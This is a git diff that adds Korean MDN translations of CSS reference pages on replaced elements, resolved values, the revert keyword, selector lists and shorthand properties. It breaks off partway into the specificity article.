+
+<p><em>(See <a href="/Project:en/Compatibility_tables" title="Project:en/Compatibility_tables">Compatibility tables</a> for more information)</em></p>
+
+
+
+<p>{{Compat("css.property.<em>property-name</em>")}}</p>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li><em>Links of link of related properties: {{CSSxRef("example-property")}}</em></li>
+ <li><em>Links to article showing how to use the property in context: "Using … article"</em></li>
+ <li><em>Very good external links. Don't be afraid of external links, but they should be outstanding, and not only mention minor details.</em></li>
+</ul>
diff --git a/files/ko/web/css/replaced_element/index.html b/files/ko/web/css/replaced_element/index.html
new file mode 100644
index 0000000000..8914554a01
--- /dev/null
+++ b/files/ko/web/css/replaced_element/index.html
@@ -0,0 +1,65 @@
+---
+title: 대체 요소
+slug: Web/CSS/Replaced_element
+tags:
+  - CSS
+  - Guide
+  - Layout
+  - Reference
+translation_of: Web/CSS/Replaced_element
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><a href="/ko/docs/Web/CSS">CSS</a>의 <strong>대체 요소</strong>(replaced element)란 자신의 표현 결과가 CSS의 범위를 벗어나는 요소로서, CSS 서식 모델과는 분리된 외부 객체인 요소입니다.</span></p>
+
+<p>간단히 말해서, 대체 요소는 자신의 콘텐츠가 현재 문서 스타일의 영향을 받지 않는 요소라고 할 수 있습니다. CSS는 대체 요소의 위치에 영향을 줄 수 있지만 콘텐츠에는 미치지 못합니다. {{htmlelement("iframe")}} 등 일부 대체 요소는 자신만의 스타일 시트를 가질 수도 있지만, 부모 문서의 스타일을 상속하지는 않습니다.</p>
+
+<p>CSS가 대체 요소에 영향을 줄 수 있는 다른 유일한 방법은, 일련의 속성을 통해 요소 박스에서 콘텐츠의 위치를 제어하는 것입니다. {{anch("콘텐츠 박스 내부의 객체 위치 제어")}} 항목을 참고하세요.</p>
+
+<h2 id="대체_요소">대체 요소</h2>
+
+<p>전형적인 대체 요소는 다음과 같습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("iframe")}}</li>
+ <li>{{HTMLElement("video")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+</ul>
+
+<p>일부 요소는 특정한 경우에만 대체 요소로 취급합니다.</p>
+
+<ul>
+ <li>{{HTMLElement("option")}}</li>
+ <li>{{HTMLElement("audio")}}</li>
+ <li>{{HTMLElement("canvas")}}</li>
+ <li>{{HTMLElement("object")}}</li>
+</ul>
+
+<p>HTML 명세에 따르면 {{htmlelement("input")}} 또한 대체될 수 있습니다. <code>&lt;input&gt;</code> 유형이 <code>"image"</code>인 경우 {{htmlelement("img")}}와 유사한 대체 요소이기 때문입니다. 그러나 다른 유형의 <code>&lt;input&gt;</code>을 포함한 나머지 양식 컨트롤 요소는 비대체 요소라고 명시하고 있습니다. (명세는 양식 요소의 플랫폼별 기본 렌더링을 "위젯"(Widget)이라는 용어로 설명하고 있습니다.)</p>
+
+<p>CSS {{cssxref("content")}} 속성을 사용해 추가한 객체도 대체 요소로, HTML 마크업에는 존재하지 않기 때문에 "익명" 대체 요소라고 합니다.</p>
+
+<h2 id="대체_요소와_CSS">대체 요소와 CSS</h2>
+
+<p>CSS는 바깥 여백이나 일부 <code>auto</code> 값 계산 등 특정 상황에서 대체 요소를 특별히 취급합니다.</p>
+
+<p>일부 대체 요소는 고유 크기 또는 정의된 기준선을 가질 수 있으며, {{cssxref("vertical-align")}} 등의 CSS 속성이 사용할 수 있습니다. 오직 대체 요소만이 고유 크기를 가질 수 있습니다.</p>
+
+<h3 id="콘텐츠_박스_내부의_객체_위치_제어">콘텐츠 박스 내부의 객체 위치 제어</h3>
+
+<p>특정 CSS 속성을 사용하면 대체 요소 내의 객체가 요소의 박스 영역 어디에 배치되어야 하는지 지정할 수 있으며, {{SpecName("CSS3 Images")}}와 {{SpecName("CSS4 Images")}} 명세가 정의하고 있습니다.</p>
+
+<dl>
+ <dt>{{cssxref("object-fit")}}</dt>
+ <dd>대체 요소의 콘텐츠 객체를 대체 요소의 박스에 어떻게 맞출지 지정합니다.</dd>
+ <dt>{{cssxref("object-position")}}</dt>
+ <dd>대체 요소의 콘텐츠 객체를 정렬하는 방법을 지정합니다.</dd>
+</dl>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/rendering.html#replaced-elements">HTML 명세</a></li>
+ <li>{{CSS_key_concepts()}}</li>
+</ul>
diff --git a/files/ko/web/css/resolved_value/index.html b/files/ko/web/css/resolved_value/index.html
new file mode 100644
index 0000000000..56f04e6495
--- /dev/null
+++ b/files/ko/web/css/resolved_value/index.html
@@ -0,0 +1,39 @@
+---
+title: 결정값
+slug: Web/CSS/resolved_value
+tags:
+  - CSS
+  - Reference
+translation_of: Web/CSS/resolved_value
+---
+<div>{{cssref}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> 속성의 <strong>결정값</strong>은 {{domxref("Window.getComputedStyle", "getComputedStyle()")}}이 반환하는 값입니다.</p>
+
+<p>속성 대부분은 결정값이 <a href="/ko/docs/Web/CSS/computed_value">계산값</a>이지만, {{cssxref("width")}}와 {{cssxref("height")}}를 포함한 기존 속성은 <a href="/ko/docs/Web/CSS/used_value">사용값</a>입니다. 속성 별 자세한 사항은 아래의 명세를 참고하세요.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSSOM", "#resolved-values", "resolved value")}}</td>
+   <td>{{Spec2("CSSOM")}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("window.getComputedStyle")}}</li>
+ <li>{{CSS_key_concepts}}</li>
+</ul>
diff --git a/files/ko/web/css/revert/index.html b/files/ko/web/css/revert/index.html
new file mode 100644
index 0000000000..9a9a1ce6f7
--- /dev/null
+++ b/files/ko/web/css/revert/index.html
@@ -0,0 +1,137 @@
+---
+title: revert
+slug: Web/CSS/revert
+tags:
+  - CSS
+  - CSS 속성
+  - Cascade
+  - Style
+  - 'all:revert'
+  - revert
+  - revert style 속성
+  - revert 속성
+  - 스타일
+translation_of: Web/CSS/revert
+---
+<div>{{CSSRef}}</div>
+
+<p><span class="seoSummary"><strong><code>revert</code></strong> 는 현재 엘리먼트에 선언 된 캐스캐이딩된 속성으로부터  <strong>{{Glossary("style origin")}}</strong> 으로 되돌립니다.</span> 부모 속성 또는 user agent에 따라 default로 선언 된 속성으로 되돌리는 것입니다. 이 속성은 css 단축속성{{cssxref("all")}}을 포함한 어떤 프로퍼티에도 적용할 수 있습니다.</p>
+
+<ul>
+ <li>만약 그 사이트만의 css 속성이 지정되어있다면 <code>revert</code> 속성은 유저가 지정한 커스텀 스타일로 롤백합니다.  만약 하나만 존재한다면 user agent의 default 스타일로 돌아가는 것입니다.</li>
+ <li>만약 사용자의 커스텀 스타일을 사용하거나 사용자에 의해서 스타일이 적용되어 있다면, <code>revert</code> 는 user agent의 default 스타일로 되돌립니다.</li>
+ <li>만약 user agent default 스타일만 지정되어있다면, {{cssxref("unset")}}과 마찬가지의 의미입니다.</li>
+</ul>
+
+<p><code>revert</code> 키워드는 많은 경우에서 <code><a href="/en-US/docs/Web/CSS/unset">unset</a></code> 과 같은 성질을 가집니다. 한가지 차이점은 user agent에 의한 스타일이냐 유저가 지정한 스타일이냐의 차이입니다.</p>
+
+<p>Revert 는 자식 요소까지 변경하지는 않습니다. (하지만 자식 요소에 특별히 rule이 지정되어 있지 않다면 적용됩니다.). 그래서 만약에 모든 섹션에  <code>color: green</code> 속성을 지정하고  <code>all: revert</code> 를 사용하면 모든 섹션의 컬러값은 black으로 돌아갈 것입니다. 하지만 만약, 당신이 section 내의 모든 p에 red를 지정했다면 그것들은 red로 유지될 것입니다.</p>
+
+<div class="blockIndicator note">
+<p>Revert는 단순히 값입니다. 그러므로 <code>revert</code>  또한 다른 <a href="/en-US/docs/Web/CSS/Specificity">specificity</a>값으로 덮어 쓸 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><code>revert</code> 는 {{cssxref("initial")}} 키워드와는 다른데,  <a href="/en-US/docs/Web/CSS/initial_value">initial value</a> 는 프로퍼티 단위의 css 특성화입니다. user-agent의 스타일 시트도 default value로 되돌립니다..</p>
+
+<p>예를 들어, {{cssxref("display")}} 속성에 대한 <a href="/en-US/docs/Web/CSS/initial_value">initial value</a> 는 <code>inline</code> 입니다. 반면에  {{HTMLElement("div")}} 에 대한 {{cssxref("display")}}  user agent 속성은 <code>block</code> 이고,  {{HTMLElement("table")}} 에 대한 속성은  <code>table</code> 입니다.</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<h3 id="Revert_vs_unset">Revert vs unset</h3>
+
+<p>비록 <code>revert</code> 와 <code>unset</code> 은 비슷하지만 몇몇 엘리먼트와 몇몇 속성에서는 다릅니다.</p>
+
+<p>그래서 아래 예시를 보면, 우리는 <code>font-weight</code> 를 커스텀으로 글로벌 스타일로 지정하였습니다. 그러나 revert와 unset을 시도해보면 다른 결과를 볼 수 있습니다. Unset text를 default로 설정된 normal로 유지합니다. Revert는 user-agent 상에 font-weight인 bold로 돌아갈 것입니다.</p>
+
+<pre class="brush: css notranslate">h3 {
+  font-weight: normal;
+  color: blue;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;h3 style="font-weight: unset; color: unset;"&gt;This will still have font-weight: normal, but color: black&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;
+&lt;h3 style="font-weight: revert; color: revert;"&gt;This should have its original font-weight (bold) and color: black&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Revert_vs_unset')}}</p>
+
+<h3 id="Revert_all">Revert all</h3>
+
+<p>모든 요소를 revert 하는 것은 당신이 많은 캐스캐이딩에 따른 수정이 있었을 때 default로 돌아가기에 매우 유용합니다. 그래서 font-weight를 리버트 하고 color를 리버트하는 것을 각각 하기보다는 한꺼번에 돌릴 수 있습니다.</p>
+
+<pre class="brush: css notranslate">h3 {
+  font-weight: normal;
+  color: blue;
+  border-bottom: 1px solid grey;
+}</pre>
+
+<pre class="brush: html notranslate">&lt;h3&gt;This will have custom styles&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;
+&lt;h3 style="all: revert"&gt;This should be reverted to browser/user defaults&lt;/h3&gt;
+&lt;p&gt;Just some text&lt;/p&gt;</pre>
+
+<p>{{EmbedLiveSample('Revert_all')}}</p>
+
+<h3 id="부모요소에서의_Revert">부모요소에서의 Revert </h3>
+
+<p>효율적으로 revert 하는 것은 당신이 선택한 속성에 대해서만 해당 속성을 제거하는 것입니다. 우리는 paragraph에 한해서는 red 속성을 지정하고 section에는 darkgreen 을 따로 각각 지정할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">section { color: darkgreen }
+p { color: red }
+section.with-revert { color: revert }
+</pre>
+
+<pre class="brush: html notranslate">&lt;section&gt;
+  &lt;h3&gt;따로 지정되지 않은 h3는 다크 그린&lt;/h3&gt;
+  &lt;p&gt;paragraph의 텍스트는 빨강&lt;/p&gt;
+  섹션 안의 요소니까 다크 그린.
+&lt;/section&gt;
+&lt;section class="with-revert"&gt;
+  &lt;h3&gt;revert로 따로 지정되어있지 않았던 h3는 검정&lt;/h3&gt;
+  &lt;p&gt;특성화되어있는 paragraph는 그대로 빨강&lt;/p&gt;
+  섹션 안의 요소가 revert 되면서 검정
+&lt;/section&gt;</pre>
+
+<p>section 요소가 돌아갔음에도 paragraph는 여전히 빨강인 것에 주목하세요. </p>
+
+<p>{{EmbedLiveSample('Revert_on_a_parent')}}</p>
+
+<h2 id="특성">특성</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">특성</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#default', 'revert')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div>
+<div class="hidden"><a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 참조하시고 pull request를 해보세요.</div>
+
+<p>{{Compat("css.types.global_keywords.revert")}}</p>
+</div>
+</div>
+
+<h2 id="요약">요약</h2>
+
+<ul>
+ <li>initial value를 지정할 때는 {{cssxref("initial")}} 를 사용하세요 .</li>
+ <li>초기 속성을 없애거나, 부모 요소에 대한 상속 된 속성을 지정할 때는  {{cssxref("unset")}} 를 사용하세요.</li>
+ <li>부모 속성을 지정할 때는 {{cssxref("inherit")}} 를 사용하세요.</li>
+ <li>{{cssxref("all")}} 속성은 unset, initial, revert, inherit 속성을 한꺼번에 지정할 것입니다.</li>
+</ul>
diff --git a/files/ko/web/css/selector_list/index.html b/files/ko/web/css/selector_list/index.html
new file mode 100644
index 0000000000..6d45de9430
--- /dev/null
+++ b/files/ko/web/css/selector_list/index.html
@@ -0,0 +1,101 @@
+---
+title: 선택자 목록
+slug: Web/CSS/Selector_list
+tags:
+  - CSS
+  - Reference
+  - Selectors
+  - 선택자
+translation_of: Web/CSS/Selector_list
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong>선택자 목록</strong>(<code>,</code>)은 일치하는 모든 요소를 선택합니다.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* 모든 span과 div 요소 선택 */
+span,
+div {
+  border: red 2px solid;
+}</pre>
+
+<p>다수의 선택자를 쉼표 구분 목록에 넣어 스타일 시트 크기를 줄일 수 있습니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">element, element, element { <em>style properties</em> }</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="한_줄_묶기">한 줄 묶기</h3>
+
+<p>쉼표로 구분한 목록을 한 줄에 배치할 수 있습니다.</p>
+
+<pre class="brush: css notranslate">h1, h2, h3, h4, h5, h6 { font-family: helvetica; }
+</pre>
+
+<h3 id="여러_줄_묶기">여러 줄 묶기</h3>
+
+<p>쉼표로 구분한 목록을 여러 줄에 배치할 수도 있습니다.</p>
+
+<pre class="brush: css notranslate">#main,
+.content,
+article {
+  font-size: 1.1em;
+}
+</pre>
+
+<h3 id="선택자_목록_무효화">선택자 목록 무효화</h3>
+
+<p>선택자 목록의 단점은, 다음의 두 경우가 서로 같지 않다는 점입니다.</p>
+
+<pre class="brush: css notranslate">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css notranslate">h1, h2:maybe-unsupported, h3 { font-family: sans-serif }</pre>
+
+<p>왜냐하면 목록 내의 하나의 선택자라도 브라우저가 지원하지 않으면 전체 목록을 무효화하기 때문입니다.</p>
+
+<p>대응 방법은 {{CSSxRef(":is", ":is()")}} 선택자를 사용하는 것을 통해, 유효하지 않은 선택자를 무시하는 것입니다. 그러나 <code>:is()</code>가 명시도를 계산하는 방법으로 인해, 모든 선택자가 동일한 명시도를 갖게 되는 부작용이 있습니다.</p>
+
+<pre class="brush: css notranslate">h1 { font-family: sans-serif }
+h2:maybe-unsupported { font-family: sans-serif }
+h3 { font-family: sans-serif }</pre>
+
+<pre class="brush: css notranslate">:is(h1, h2:maybe-unsupported, h3) { font-family: sans-serif }</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS4 Selectors", "#grouping", "Selector Lists")}}</td>
+   <td>{{Spec2("CSS4 Selectors")}}</td>
+   <td>Renamed to "selector list"</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#grouping', 'grouping')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.selectors.list")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>선택자 목록 무효화라는 과거의 실수를 가지지 않는 {{CSSxRef(":is", ":is()")}} {{Experimental_Inline}}, {{CSSxRef(":where", ":where()")}} {{Experimental_Inline}} 의사 클래스.</li>
+</ul>
diff --git a/files/ko/web/css/shorthand_properties/index.html b/files/ko/web/css/shorthand_properties/index.html
new file mode 100644
index 0000000000..26075c0be4
--- /dev/null
+++ b/files/ko/web/css/shorthand_properties/index.html
@@ -0,0 +1,156 @@
+---
+title: 단축 속성
+slug: Web/CSS/Shorthand_properties
+tags:
+  - CSS
+  - Guide
+  - Layout
+  - Reference
+  - Web
+  - 단축 속성
+translation_of: Web/CSS/Shorthand_properties
+---
+<div>{{cssref}}</div>
+
+<p><strong>단축 속성</strong>은 서로 다른 여러 가지 CSS 속성의 값을 지정할 수 있는 CSS 속성입니다. 단축 속성을 사용하면 간결한 (그리고 읽기도 좋은) 스타일 시트를 작성해 시간과 체력을 아낄 수 있습니다.</p>
+
+<p>CSS 명세는 같은 주제를 가진 여러 공통 속성을 묶기 위해 단축 속성을 정의합니다. 가령 CSS {{cssxref("background")}} 속성은 {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-repeat")}}, {{cssxref("background-position")}} 값을 정의할 수 있는 단축 속성입니다. 마찬가지로, 가장 흔히 쓰이는 글꼴 관련 속성은 {{cssxref("font")}} 단축 속성으로, 박스 주위의 바깥 여백은 {{cssxref("margin")}} 단축 속성으로 지정할 수 있습니다.</p>
+
+<h2 id="Tricky_edge_cases" name="Tricky_edge_cases">까다로운 예외상황</h2>
+
+<p>단축 속성은 사용하기 매우 편리하지만, 염두해야 할 예외상황이 몇 가지 있습니다.</p>
+
+<ol>
+ <li>단축 속성에 지정하지 않은 값은 초깃값이 됩니다. 별거 아닌 듯 보일 수 있지만, 사실 이전에 정의한 값도 초깃값으로 <strong>재정의</strong>합니다. 따라서,
+
+  <pre class="brush:css notranslate">background-color: red;
+background: url(images/bg.gif) no-repeat top right;
+</pre>
+  을 적한 요소의 배경 색은 <code>red</code>가 아니라, {{cssxref("background-color")}}의 기본값인 <code>transparent</code>가 됩니다. 두 번째 규칙이 우선하기 때문입니다.</li>
+ <li>개별 속성값만 상속할 수 있습니다. 빠진 값에는 초깃값을 대입하므로, 어떤 속성의 값을 상속받고자 단축 속성의 해당 부분을 비우는 것은 불가능합니다. <code>inherit</code> 키워드 역시 속성 값으로 온전히 사용해야 하며 값의 일부(<code>red <em>inherit</em> top right</code>처럼)로는 사용할 수 없습니다. 따라서 어떤 속성을 상속하고 싶다면 <code>inherit</code>을 지정한 본디 속성(longhand property)을 추가할 수밖에 없습니다.</li>
+ <li>단축 속성은 값의 순서를 되도록 제한하지 않습니다. 특히 각 값의 자료형이 서로 다르면 순서가 중요하지 않습니다. 하지만 일부 속성이 동일한 자료형의 값을 가질 수 있을 때는 잘 동작하지 않습니다. 이런 경우의 처리는 여러 범주로 나뉩니다:
+  <ol>
+   <li>{{cssxref("border-style")}}, {{cssxref("margin")}}, {{cssxref("padding")}}처럼 박스의 모서리와 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 모서리를 가리키는 1~4 값 구문을 사용합니다:
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 79px;"><img alt="border1.png" src="/files/3646/border1.png"></td>
+       <td>1개 값 구문: <code>border-width: 1em</code> — 유일한 값이 모든 변을 나타냅니다.</td>
+      </tr>
+      <tr>
+       <td><img alt="border2.png" src="/files/3647/border2.png"></td>
+       <td>2개 값 구문: <code>border-width: 1em 2em</code> — 첫 번째 값은 세로(상하)변을, 두 번째는 가로(좌우)변을 나타냅니다.</td>
+      </tr>
+      <tr>
+       <td><img alt="border3.png" src="/files/3648/border3.png"></td>
+       <td>3개 값 구문: <code>border-width: 1em 2em 3em</code> — 첫 번째 값은 상변을, 두 번째는 가로변, 세 번째는 하변을 나타냅니다.</td>
+      </tr>
+      <tr>
+       <td><img alt="border4.png" src="/files/3649/border4.png"></td>
+       <td>
+        <p>4개 값 구문: <code>border-width: 1em 2em 3em 4em</code> — 네 값이 각각 상, 우, 하, 좌변을 나타냅니다. 상변에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+   <li>비슷하게, {{cssxref("border-radius")}} 같은 박스의 꼭짓점과 관련된 속성을 다루는 단축 속성은 항상 같은 쪽의 꼭짓점을 가리키는 1-4-값 구문을 사용합니다:
+    <table>
+     <tbody>
+      <tr>
+       <td style="width: 69px;"><img alt="corner1.png" src="/files/3650/corner1.png"></td>
+       <td>1개 값 구문: <code>border-radius: 1em</code> — 유일한 값이 모든 귀를 나타냅니다.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner2.png" src="/files/3651/corner2.png"></td>
+       <td>2개 값 구문: <code>border-radius: 1em 2em</code> — 첫 번째 값은 좌상 및 우하귀, 두 번째는 우상 및 좌하귀를 나타냅니다.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner3.png" src="/files/3652/corner3.png"></td>
+       <td>3개 값 구문: <code>border-radius: 1em 2em 3em</code> — 첫 번째 값은 좌상귀, 두 번째는 우상 및 좌하귀, 세 번째 값은 우하귀를 나타냅니다.</td>
+      </tr>
+      <tr>
+       <td><img alt="corner4.png" src="/files/3653/corner4.png"></td>
+       <td>
+        <p>4개 값 구문: <code>border-radius: 1em 2em 3em 4em</code> — 네 값은 각각 좌상, 우상, 우하 및 좌하귀를 나타냅니다. 좌상귀에서 시작하여 시계 방향으로, 항상 같은 순서를 사용합니다.</p>
+       </td>
+      </tr>
+     </tbody>
+    </table>
+   </li>
+  </ol>
+ </li>
+</ol>
+
+<h2 id="Background_Properties" name="Background_Properties">배경 속성</h2>
+
+<p>아래와 같은 속성을 가지는 배경은...</p>
+
+<pre class="brush:css notranslate">background-color: #000;
+background-image: url(images/bg.gif);
+background-repeat: no-repeat;
+background-position: top right;</pre>
+
+<p>다음과 같이 선언 단 하나를 사용해서 단축할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">background: #000 url(images/bg.gif) no-repeat top right;</pre>
+
+<p>(단축 형은 실제로 <code>background-attachment: scroll</code> 및 CSS3의 일부 부가 속성이 더해진 위 본디 속성과 같습니다.)</p>
+
+<p>{{cssxref("background")}}에서 CSS3 속성을 포함한 더 자세한 정보를 확인할 수 있습니다.</p>
+
+<h2 id="Font_Properties" name="Font_Properties">글꼴 속성</h2>
+
+<p>아래와 같은 속성을 가지는 글꼴은...</p>
+
+<pre class="brush:css notranslate">font-style: italic;
+font-weight: bold;
+font-size: .8em;
+line-height: 1.2;
+font-family: Arial, sans-serif;</pre>
+
+<p>다음처럼 단축할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">font: italic bold .8em/1.2 Arial, sans-serif;</pre>
+
+<p>이 단축 선언은 실제로 <code>font-variant: normal</code> 및 <code>font-size-adjust: none</code> (CSS2.0 / CSS3), <code>font-stretch: normal</code> (CSS3)이 더해진 위 본디 속성과 같습니다.</p>
+
+<h2 id="Border_Properties" name="Border_Properties">테두리 속성</h2>
+
+<p>테두리의 너비, 색상, 스타일을 하나의 선언으로 단축할 수 있습니다. 즉 아래와 같은 CSS를...</p>
+
+<pre class="brush:css notranslate">border-width: 1px;
+border-style: solid;
+border-color: #000;</pre>
+
+<p>다음처럼 단축할 수 있습니다.</p>
+
+<pre class="brush:css notranslate">border: 1px solid #000;</pre>
+
+<h2 id="Margin_and_Padding_Properties" name="Margin_and_Padding_Properties">여백 속성</h2>
+
+<p>바깥과 안쪽 여백의 단축 속성도 똑같이 동작합니다. 바깥 여백, <code>margin</code> 속성은 한 개, 두 개, 세 개, 네 개의 값을 사용해 지정합니다. 아래 CSS 선언은...</p>
+
+<pre class="brush:css notranslate">margin-top: 10px;
+margin-right: 5px;
+margin-bottom: 10px;
+margin-left: 5px;</pre>
+
+<p>다음의 네 값 구문 단축 속성을 사용한 선언과 같습니다. 방향이 시계 방향임을 기억하세요. 각 값은 위, 오른쪽, 아래, 왼쪽을 나타냅니다.</p>
+
+<pre class="brush:css notranslate">margin: 10px 5px 10px 5px;</pre>
+
+<p>바깥 여백의 한 개, 두 개, 세 개, 네 개 값 선언 규칙은 다음과 같습니다.</p>
+
+<ul>
+ <li><strong>한 개의 값</strong>은 모든 네 면의 여백을 설정합니다.</li>
+ <li><strong>두 개의 값</strong>을 지정하면 첫 번째는 <strong>위와 아래</strong>, 두 번째는 <strong>왼쪽과 오른쪽</strong> 여백을 설정합니다.</li>
+ <li><strong>세 개의 값</strong>을 지정하면 첫 번째는 <strong>위</strong>, 두 번째는 <strong>왼쪽과 오른쪽,</strong> 세 번째 값은 <strong>아래</strong> 여백을 설정합니다.</li>
+ <li><strong>네 개의 값</strong>을 지정하면 각각 <strong>상, 우, 하, 좌</strong> 순서로 여백을 지정합니다. (시계방향)</li>
+</ul>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>단축 속성: {{cssxref("animation")}}, {{cssxref("background")}}, {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}, {{cssxref("border-left")}}, {{cssxref("border-radius")}}, {{cssxref("border-right")}}, {{cssxref("border-style")}}, {{cssxref("border-top")}}, {{cssxref("border-width")}}, {{cssxref("column-rule")}}, {{cssxref("columns")}}, {{cssxref("flex")}}, {{cssxref("flex-flow")}}, {{cssxref("font")}}, {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-column")}}, {{cssxref("grid-row")}}, {{cssxref("grid-template")}}, {{cssxref("list-style")}}, {{cssxref("margin")}}, {{cssxref("offset")}}, {{cssxref("outline")}}, {{cssxref("overflow")}}, {{cssxref("padding")}}, {{cssxref("place-content")}}, {{cssxref("place-items")}}, {{cssxref("place-self")}}, {{cssxref("text-decoration")}}, {{cssxref("transition")}}</li>
+</ul>
diff --git a/files/ko/web/css/specificity/index.html b/files/ko/web/css/specificity/index.html
new file mode 100644
index 0000000000..609f319daa
--- /dev/null
+++ b/files/ko/web/css/specificity/index.html
@@ -0,0 +1,331 @@
+---
+title: 명시도
+slug: Web/CSS/Specificity
+tags:
+  - CSS
+  - Example
+  - Guide
+  - Reference
+  - Web
+translation_of: Web/CSS/Specificity
+---
+<div>{{cssref}}</div>
+
+<p><strong>명시도</strong>란 브라우저가 어느 요소와 가장 연관된 속성을 찾는 수단으로, 이렇게 찾은 속성이 해당 요소에 적용됩니다. 명시도는 여러 종류의 <a href="/ko/docs/Web/CSS/CSS_Reference#Selectors" title="CSS selectors">CSS 선택자</a>로 구성된 일치 규칙에 기반합니다.</p>
+
+<h2 id="어떻게_계산되는가">어떻게 계산되는가?</h2>
+
+<p>명시도는 주어진 CSS 선언에 적용되는 가중치(weight)로, 일치하는 선택자 내 각 <a href="#selector-type">선택자 유형</a>의 수에 의해 결정됩니다. 여러 선언이 명시도가 같은 경우, CSS에서 맨 끝에 오는 선언이 요소에 적용됩니다. 명시도는 같은 요소가 여러 선언의 대상이 되는 경우에만 적용합니다. CSS 규칙에 따라 <a href="#directly-targeted-elements" title="directly targeted element">직접 대상 요소</a>는 요소가 부모로부터 상속받는 규칙보다 항상 우선합니다.</p>
+
+<div class="note"><strong>주의:</strong> 문서 트리 내 <a href="#tree-proximity-ignorance">요소의 근접도(proximity, 가까움)</a>는 명시도에 영향이 없습니다.</div>
+
+<h3 id="선택자_유형">선택자 유형</h3>
+
+<p>아래 선택자는 유형별로 명시도를 증가시킵니다.</p>
+
+<ol>
+ <li><a href="/ko/docs/Web/CSS/Type_selectors">유형 선택자</a>(<code>h1</code> 등) 및 의사 요소(<code>:before</code> 등).</li>
+ <li><a href="/ko/docs/Web/CSS/Class_selectors">클래스 선택자</a>(<code>.example</code> 등), 속성 선택자(<code>[type="radio"]</code> 등), 의사 클래스(<code>:hover</code> 등).</li>
+ <li><a href="/ko/docs/Web/CSS/ID_selectors">ID 선택자</a>(<code>#example</code> 등).</li>
+</ol>
+
+<p>전역 선택자({{cssxref("Universal_selectors", "*")}}), 조합자({{CSSxRef("Adjacent_sibling_combinator", "+")}}, {{CSSxRef("Child_combinator", "&gt;")}}, {{CSSxRef("General_sibling_combinator", "~")}}, <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator">'<code> </code>'</a>, {{CSSxRef("Column_combinator", "||")}}) 및 부정 의사 클래스(<code>:not()</code>)는 명시도에 영향을 주지 않습니다. (<code>:not()</code> <em>내부에</em> 선언한 선택자는 영향을 끼칩니다)</p>
+
+<p><a href="https://specifishity.com">https://specifishity.com</a>에서 자세한 정보를 확인할 수 있습니다.</p>
+
+<p>요소에 추가한 인라인 스타일(<code>style="font-weight: bold"</code>처럼)은 항상 외부 스타일시트의 모든 스타일을 덮어쓰므로 가장 높은 명시도를 갖는 것으로 생각할 수 있습니다.</p>
+
+<h3 id="!important_예외"><code>!important</code> 예외</h3>
+
